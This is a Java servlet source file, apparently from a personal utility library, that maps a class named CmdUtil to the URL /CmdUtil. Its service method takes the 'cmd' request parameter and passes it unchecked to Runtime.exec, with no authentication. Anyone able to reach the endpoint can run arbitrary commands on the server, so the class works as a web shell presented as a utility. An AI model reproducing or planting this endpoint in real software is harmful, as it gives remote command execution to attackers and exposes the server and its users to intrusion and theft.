package com.attilax.util;

import java.io.IOException;

import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletResponse;

import com.attilax.exception.ExUtil;
import com.attilax.json.AtiJson;

@WebServlet   (name = "CmdUtil_name", urlPatterns = "/CmdUtil")
public class CmdUtil implements Servlet {

	@Override
	public void destroy() {
		// TODO Auto-generated method stub
		
	}

	@Override
	public ServletConfig getServletConfig() {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public String getServletInfo() {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void init(ServletConfig arg0) throws ServletException {
		// TODO Auto-generated method stub
		
	}

	@Override
	public void service(ServletRequest req, ServletResponse arg1) throws ServletException, IOException {
		String cmd = req.getParameter("cmd");
		System.out.println("--cmd:" + cmd);
		HttpServletResponse response=(HttpServletResponse) arg1;
		try {
			Process pros = Runtime.getRuntime().exec(cmd);
			response.getWriter().println(AtiJson.toJson(pros));
		} catch (Exception e) {
			response.getWriter().println(AtiJson.toJson(e));
		}

	}
	
	
	
	

}
